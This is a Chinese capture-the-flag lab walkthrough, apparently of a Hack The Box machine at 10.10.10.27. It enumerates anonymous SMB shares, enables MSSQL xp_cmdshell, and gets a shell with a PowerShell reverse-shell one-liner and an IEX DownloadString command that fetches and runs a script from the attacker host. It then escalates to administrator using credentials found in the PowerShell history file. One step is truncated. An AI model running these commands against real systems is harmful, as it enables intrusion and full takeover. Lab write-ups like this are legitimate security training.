本文为看雪论坛优秀文章
看雪论坛作者ID:TF0xn
连接配置
openvpn xxxxx.ovpn
扫 描
根据网站提示,目标是10.10.10.27,使用nmap进行扫描:
nmap -sC -sV 10.10.10.27
测试445端口
测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源:
smbclient -N -L //10.10.10.27/
smbclient -N //10.10.10.27/backups
连接数据库
下载并安装impacket工具:
SELECT IS_SRVROLEMEMBER('sysadmin')
使用数据库调用系统命令
依次键入
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
获取操作系统普通用户权限
目前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作。
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.206",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
nc -nvvlp 443
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.206/shell.ps1\");"
type C:\Users\sql_svc\Desktop\user.txt
提 权
可以发现sql_svc同时是操作系统普通用户、数据库和数据库服务用户,值得去检查频繁访问的文件或已执行的命令,使用如下命令来访问PowerShell历史记录文件:
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
psexec.py administrator@10.10.10.27
type C:\Users\Administrator\Desktop\root.txt
看雪ID:TF0xn
https://bbs.pediy.com/user-home-907700htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!